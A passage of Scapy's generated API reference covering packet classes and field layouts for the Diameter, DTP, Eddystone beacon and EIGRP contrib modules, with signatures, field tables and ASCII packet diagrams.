+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_FL_V                           


AVP_FL_V fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	None



	avpVnd

	AVPVendor

	0















	
class scapy.contrib.diameter.AVP_Generic(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L370-L387]

	Bases: Packet

Parent class for the 5 following AVP intermediate classes below


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L373-L377]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L379-L384]

	




	
show2()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L386-L387]

	








	
class scapy.contrib.diameter.AVP_Unknown(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L485-L496]

	Bases: AVP_Generic

The default structure for AVPs which could not be decoded (optional vendor field, variable length).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. AVP_Unknown                         


AVP_Unknown fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor (Cond)

	0



	val

	StrLenField

	None















	
class scapy.contrib.diameter.AVP_VL_NV(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L464-L471]

	Bases: AVP_Generic

Defines the AVP of Variable Length with No Vendor field.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_VL_NV                          


AVP_VL_NV fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None















	
class scapy.contrib.diameter.AVP_VL_V(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L474-L482]

	Bases: AVP_Generic

Defines the AVP of Variable Length with Vendor field.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_VL_V                           


AVP_VL_V fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0















	
class scapy.contrib.diameter.Address(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L253-L274]

	Bases: StrLenField


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L263-L274]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L254-L261]

	








	
class scapy.contrib.diameter.DRCode(name, default, enum)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L102-L116]

	Bases: I3BytesEnumField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L111-L116]

	








	
class scapy.contrib.diameter.DRFlags(name: str, default: int | FlagValue | None, size: int, names: List[str] | str | Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L81-L99]

	Bases: FlagsField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L82-L99]

	








	
scapy.contrib.diameter.DiamAns(cmd, **fields)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L4818-L4823]

	Craft Diameter answer commands






	
class scapy.contrib.diameter.DiamG(_pkt, /, *, version=1, drLen=None, drFlags=None, drCode=None, drAppId=None, drHbHId=0, drEtEId=0, avpList=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L4712-L4740]

	Bases: Packet

Generic class defining all the Diameter fields


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |                     DRLEN                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    DRFLAGS    |             DRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DRAPPID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DRHBHID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DRETEID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            AVPLIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. DiamG                            


DiamG fields






	version

	XByteField

	1



	drLen

	I3FieldLenField

	None



	drFlags

	DRFlags

	None



	drCode

	DRCode

	None



	drAppId

	IntEnumField

	None



	drHbHId

	XIntField

	0



	drEtEId

	XIntField

	0



	avpList

	PacketListField

	[]















	
scapy.contrib.diameter.DiamReq(cmd, **fields)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L4810-L4815]

	Craft Diameter request commands






	
class scapy.contrib.diameter.Enumerated(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L282-L287]

	Bases: IntEnumField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L283-L287]

	








	
class scapy.contrib.diameter.Float32(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L240-L241]

	Bases: IEEEFloatField






	
class scapy.contrib.diameter.Float64(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L244-L245]

	Bases: IEEEDoubleField






	
class scapy.contrib.diameter.Grouped(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L294-L296]

	Bases: StrLenField

This class is just for declarative purpose because it is used in the AVP definitions dict.






	
scapy.contrib.diameter.GuessAvpType(p, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L349-L367]

	




	
class scapy.contrib.diameter.I3BytesEnumField(name, default, enum)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L50-L54]

	Bases: X3BytesField, EnumField

3 bytes enum field






	
class scapy.contrib.diameter.I3FieldLenField(name, default, length_of=None, count_of=None, adjust=<function I3FieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L57-L74]

	Bases: X3BytesField, FieldLenField


	
adjust

	




	
count_of

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L73-L74]

	




	
length_of

	








	
class scapy.contrib.diameter.IPFilterRule(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L290-L291]

	Bases: StrLenField






	
class scapy.contrib.diameter.ISDN(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L307-L332]

	Bases: StrLenField


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L318-L332]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L308-L316]

	








	
class scapy.contrib.diameter.Integer32(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L223-L224]

	Bases: SignedIntField






	
class scapy.contrib.diameter.Integer64(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L227-L229]

	Bases: Field






	
class scapy.contrib.diameter.OctetString(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L215-L220]

	Bases: StrLenField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L216-L220]

	








	
class scapy.contrib.diameter.QoSFilterRule(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L303-L304]

	Bases: StrLenField






	
class scapy.contrib.diameter.Time(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L277-L279]

	Bases: IntField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L278-L279]

	








	
class scapy.contrib.diameter.Unsigned32(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L232-L233]

	Bases: IntField






	
class scapy.contrib.diameter.Unsigned64(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L236-L237]

	Bases: LongField






	
scapy.contrib.diameter.getCmdParams(cmd, request, **fields)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L4743-L4807]

	Update or fill the fields parameters depending on command code. Both cmd and drAppId can be provided  # noqa: E501
in string or int format.








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.dtp


DTP Scapy Extension


	version:

	2008-12-22



	author:

	Jochen Bartl <lobo@c3a.de>



	Thanks:

	





	TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard)  # noqa: E501






	
class scapy.contrib.dtp.DTP(_pkt, /, *, ver=1, tlvlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L90-L93]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      VER      |            TLVLIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. DTP                             


DTP fields






	ver

	ByteField

	1



	tlvlist

	PacketListField

	[]















	
class scapy.contrib.dtp.DTPDomain(_pkt, /, *, type=1, length=None, domain=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L49-L54]

	Bases: DtpGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DOMAIN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DTPDomain                          


DTPDomain fields






	type

	ShortField

	1



	length

	FieldLenField

	None



	domain

	StrLenField

	b'\x00'















	
class scapy.contrib.dtp.DTPNeighbor(_pkt, /, *, type=4, len=10, neighbor=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L73-L79]

	Bases: DtpGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEIGHBOR                           |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DTPNeighbor                         


DTPNeighbor fields






	type

	ShortField

	4



	len

	ShortField

	10



	neighbor

	MACField

	None















	
class scapy.contrib.dtp.DTPStatus(_pkt, /, *, type=2, length=None, status=b'\x03')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L57-L62]

	Bases: DtpGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DTPStatus                          


DTPStatus fields






	type

	ShortField

	2



	length

	FieldLenField

	None



	status

	StrLenField

	b'\x03'















	
class scapy.contrib.dtp.DTPType(_pkt, /, *, type=3, length=None, dtptype=b'\xa5')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L65-L70]

	Bases: DtpGenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DTPTYPE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DTPType                           


DTPType fields






	type

	ShortField

	3



	length

	FieldLenField

	None



	dtptype

	StrLenField

	b'\xa5'















	
class scapy.contrib.dtp.DtpGenericTlv(_pkt, /, *, type=1, length=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L31-L46]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L38-L43]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DtpGenericTlv                        


DtpGenericTlv fields






	type

	XShortField

	1



	length

	FieldLenField

	None



	value

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L45-L46]

	








	
scapy.contrib.dtp.negotiate_trunk(iface=<NetworkInterface eth0 [UP+BROADCAST+RUNNING+SLAVE]>, mymac='d7:e5:e3:66:48:fe')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/dtp.py#L99-L104]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.eddystone

scapy.contrib.eddystone - Google Eddystone Bluetooth LE proximity beacons.

The Eddystone specification can be found at:
https://github.com/google/eddystone/blob/master/protocol-specification.md

These beacons are used as building blocks for other systems:


	Google’s Physical Web <https://google.github.io/physical-web/>


	RuuviTag <https://github.com/ruuvi/ruuvi-sensor-protocols>


	Waze Beacons <https://www.waze.com/beacons>





	
class scapy.contrib.eddystone.EddystoneURLField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L56-L98]

	Bases: StrField


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L95-L98]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L58-L79]

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L81-L93]

	








	
class scapy.contrib.eddystone.Eddystone_EID(_pkt, /, *, tx_power=0, eid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L218-L230]

	Bases: Packet

An Eddystone type for transmitting encrypted, ephemeral identifiers.

This implementation does not support decrypting this data.

https://github.com/google/eddystone/tree/master/eddystone-eid


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TX POWER   |                      EID                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. Eddystone_EID                        


Eddystone_EID fields






	tx_power

	SignedByteField

	0



	eid

	StrFixedLenField

	None















	
class scapy.contrib.eddystone.Eddystone_Frame(_pkt, /, *, type=None, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L101-L120]

	Bases: Packet, LowEnergyBeaconHelper

The base Eddystone frame on which all Eddystone messages are built.

https://github.com/google/eddystone/blob/master/protocol-specification.md


	
aliastypes

	




	
build_eir()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L113-L120]

	Builds a list of EIR messages to wrap this frame.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |RESERVE|
+-+-+-+-+-+-+-+-+

                       Fig. Eddystone_Frame                       


Eddystone_Frame fields






	type

	BitField  (4 bits)

	None



	reserved

	BitField  (4 bits)

	0











	
payload_guess

	Possible sublayers:
Eddystone_EID, Eddystone_TLM, Eddystone_UID, Eddystone_URL










	
class scapy.contrib.eddystone.Eddystone_TLM(_pkt, /, *, version=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L172-L184]

	Bases: Packet

An Eddystone type for transmitting beacon telemetry information.

https://github.com/google/eddystone/tree/master/eddystone-tlm


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |
+-+-+-+-+-+-+-+-+

                        Fig. Eddystone_TLM                        


Eddystone_TLM fields






	version

	ByteEnumField

	None











	
payload_guess

	Possible sublayers:
Eddystone_TLM_Encrypted, Eddystone_TLM_Unencrypted










	
class scapy.contrib.eddystone.Eddystone_TLM_Encrypted(_pkt, /, *, etlm=None, salt=None, mic=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L202-L215]

	Bases: Packet

A subtype of Eddystone-TLM for transmitting telemetry in encrypted form.

This implementation does not support decrypting this data.

https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-encrypted.md


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ETLM                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SALT             |              MIC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. Eddystone_TLM_Encrypted                   


Eddystone_TLM_Encrypted fields






	etlm

	StrFixedLenField

	None



	salt

	StrFixedLenField

	None



	mic

	StrFixedLenField

	None















	
class scapy.contrib.eddystone.Eddystone_TLM_Unencrypted(_pkt, /, *, batt_mv=0, temperature=-32768, adv_cnt=None, sec_cnt=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L187-L199]

	Bases: Packet

A subtype of Eddystone-TLM for transmitting telemetry in unencrypted form.

https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-plain.md


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            BATT MV            |          TEMPERATURE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADV CNT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SEC CNT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. Eddystone_TLM_Unencrypted                  


Eddystone_TLM_Unencrypted fields






	batt_mv

	ShortField

	0



	temperature

	FixedPointField  (16 bits)

	-32768



	adv_cnt

	IntField

	None



	sec_cnt

	IntField

	None















	
class scapy.contrib.eddystone.Eddystone_UID(_pkt, /, *, tx_power=0, namespace=None, instance=None, reserved=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L123-L135]

	Bases: Packet

An Eddystone type for transmitting a unique identifier.

https://github.com/google/eddystone/tree/master/eddystone-uid


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TX POWER   |                   NAMESPACE                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |    INSTANCE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. Eddystone_UID                        


Eddystone_UID fields






	tx_power

	SignedByteField

	0



	namespace

	StrFixedLenField

	None



	instance

	StrFixedLenField

	None



	reserved

	StrFixedLenField

	None















	
class scapy.contrib.eddystone.Eddystone_URL(_pkt, /, *, tx_power=0, url_scheme=0, url=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L138-L169]

	Bases: Packet

An Eddystone type for transmitting a URL (to a web page).

https://github.com/google/eddystone/tree/master/eddystone-url


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TX POWER   |   URL SCHEME  |              URL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. Eddystone_URL                        


Eddystone_URL fields






	tx_power

	SignedByteField

	0



	url_scheme

	ByteEnumField

	0



	url

	EddystoneURLField

	None











	
static from_url(url)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L154-L169]

	Creates an Eddystone_Frame with a Eddystone_URL for a given URL.






	
to_url()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eddystone.py#L151-L152]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.eigrp


EIGRP Scapy Extension


	version:

	2009-08-13



	e-mail:

	lobo@c3a.de / jochen.bartl@gmail.com





:TODO


	
	Replace TLV code with a more generic solution
	
	http://trac.secdev.org/scapy/ticket/90










	Write function for calculating authentication data





	Thanks:

	





	
	TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard)
	http://trac.secdev.org/scapy/ticket/18







	IOS / EIGRP Version Representation FIX by Dirk Loss






	
class scapy.contrib.eigrp.EIGRP(_pkt, /, *, ver=2, opcode=5, chksum=None, flags=<Flag 0 ()>, seq=0, ack=0, asn=100, tlvlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L460-L486]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      VER      |     OPCODE    |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
